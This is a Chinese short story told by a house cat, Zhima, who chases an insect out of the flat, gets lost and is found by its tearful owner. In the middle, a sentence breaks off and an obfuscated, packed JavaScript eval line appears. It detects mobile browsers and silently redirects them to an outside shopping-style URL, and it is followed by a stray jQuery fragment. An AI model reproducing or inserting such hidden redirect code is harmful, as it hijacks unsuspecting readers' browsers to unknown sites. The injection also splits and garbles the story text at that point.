有些事情的发生，只需要一秒钟。
那是一个普通的下午。他出门倒垃圾，门没有关严——只是虚掩着，他以为很快就会回来。
我在门口蹲着，看着他的背影消失在楼梯拐角。
然后我看到了那只飞虫。
一只小小的、翅膀透明的飞虫，从门缝里飞了进来。它在空中画着不规则的轨迹，忽高忽低，忽左忽右。
我的目光立刻被它吸引了。这是我天生的本能——移动的小东西，必须追踪，必须捕捉。
飞虫在我头顶盘旋了几圈，然后——飞出了门。
我的身体比我的大脑更快做出反应。我追了出去。
走廊里光线比家里暗一些，空气里有各种陌生的气味：其他住户家的饭菜香、楼道里的灰尘、楼下垃圾站的隐约臭味。飞虫在前面飞，我在后面追，一层楼梯，两层楼梯，三层楼梯……
然后飞虫飞出了单元门，消失在阳光里。
我停住了。
我站在单元门口，阳光刺得我眯起眼睛。周围是陌生的景象：不是我常去的小花园，而是另一片我从没到过的区域。几棵大树，一片草地，一些停着的汽车，远处还有几个孩子在玩耍。
我回头看了看单元门。门是关着的。
我的心脏开始剧烈跳动。
我需要回去。我需要找到那个门，那个走廊，那个虚掩的家门。但所有的单元门看起来都一样，所有的走廊都散发着相似的气味。我试图寻找自己的气味——来的时候，我一路追着飞虫，根本没有留下标记。
我开始沿着来时的方向往回走。但每走几步，就会遇到岔路。左转？右转？哪条是我来的路？
恐慌像潮水一样涌上来。我的尾巴炸开了，耳朵向后贴着，身体压得很低。我试图发出叫声，但声音被风刮散了，不知道有没有人能听到。
陌生的世界里，脚步声、说话声、汽车声，所有声音都变得巨大而恐怖。一个孩子跑过我身边，我吓得跳起来，躲到一辆汽车下面。车轮散发着浓重的橡胶味和机油味，地面是冰冷的，我的爪子踩在上面，每一秒都在累积恐惧。
我趴在那里，缩成最小的一团，试图让自己消失。
我不知道过了多久。天色开始变暗，温度开始下降。我饿了，渴了，但更可怕的是孤独——那种从未有过的、彻底失去方向的孤独。
他呢？他在找我吗？他会不会以为我只是躲起来了？他会不会找不到我？
我想起那个家：温暖的阳光房，我的水碗，我的玩具，沙发下的战略据点，他每晚看电视时我趴在他腿上的位置。那些熟悉的、安全的、属于我的一切，此刻都变得遥不可及。
就在这时，我听到了一个声音。
“芝麻——！”
是他的声音。远远的，从某个方向传来，带着一种我从没听过的语调——不是平静的，不是温柔的，而是撕裂的、颤抖的、仿佛用尽了全部力气的呼唤。
我立刻从车底探出头。
“芝麻——！芝麻——！”
声音更近了。我看到一个身影在远处的路口奔跑，手里拿着一个发光的物体——后来我知道那是手机的手电筒功能。他在每个角落、每辆车底、每棵树后寻找。
我发出一声竭尽全力的“喵——”。
他停住了。他转向我的方向。
然后他开始跑。真正的跑，不是平时那种稳重的步伐，而是不顾一切的奔跑。他跑到我面前，蹲下来，双手颤抖着把我从车底抱出来。
“芝麻，芝麻，芝麻……”
他反复念着我的名字，声音哽咽。他的手紧紧抱着我，紧得让我几乎透不过气，但我没有挣扎。他的心跳很快，快得我隔着皮毛都能感觉到。他的脸贴着我的头，有什么温热的液体滴在我的毛上。
他在哭。
这是我第二次看到他哭。第一次是很久以前，那个悲伤的夜晚。但这次不一样——这次的泪水，是因为我。
“你怎么跑出来了，”他的声音断断续续的，“我以为……我以为……”
我不知道怎么回答。我只能发出呼噜声，用头蹭他的脸，告诉他：我在这里，我没事，你找到我了。
我们就这样抱了很久。天色完全暗下来，路灯亮起，把我们罩在昏黄的光圈里。远处有路人经过，好奇地看我们一眼，然后走开。但他不在乎，我也不在乎。
最后，他慢慢站起来，把我抱在怀里，往回走。
“回家，”他说，声音终于平稳了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420580|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些，“我们回家。”
一路上，他一直在说话。说他倒完垃圾回来发现门开着，说我没了踪影，说他从楼上找到楼下，从楼下找到整个小区，说他已经找了一个多小时，说他差点就要报警了。
我听不懂所有的话，但我能听懂语调：担心，害怕，然后如释重负。
走到单元门口，门被推开了。是他的母亲——她站在门口，一脸焦急，看到我们，长长地舒了一口气。
“找到了？找到了！”她迎上来，“天哪，可算找到了，我都准备出去找了……”
我被抱回家。一进门，我就从他怀里跳下来，直奔我的水碗。
喝了几大口水后，我开始巡视整个家：客厅、卧室、阳台、厨房。每一个角落都要确认，一切如常。
这是回家的仪式。
他们看着我，没有说话。
等我完成整个巡逻流程，跳上沙发时，他走过来，坐在我旁边。他伸手摸了摸我，手指拂过我的背毛，一下又一下。
“以后，”他说，“再也不能让你一个人跑出去了。”
他的母亲坐在另一边，也在看着我。她的眼里也有些发亮的东西。
“猫认路吗？”她轻声问。
“有些认，有些不认，”他说，“芝麻它被我捡回来后，很少出门，从小就在屋里，外面不熟。”
“那今天……”
“可能追什么东西跑出去的。门没关好，是我的错。”
他低下头，沉默了一会儿。然后他的母亲伸手，拍了拍他的肩膀。
“没事了，”她说，“找到了就好。”
那天晚上，我没有像往常一样蜷缩在沙发上，而是跳上了他的床。我趴在他的枕头旁边，把一只爪子搭在他的手臂上。这是我给他的信号：我在这里，我不会再跑丢了。
他侧过身，看着我的眼睛。
“芝麻，”他说，“你吓死我了。”
我眨眨眼睛，发出呼噜声。
窗外的月亮很亮，透过窗帘的缝隙，在地板上投下一道银白的光。屋里很安静，只有他的呼吸声，和他母亲在隔壁房间偶尔翻身的声音。
我闭上眼睛，把这一天所有的恐惧都关在外面。
我回家了。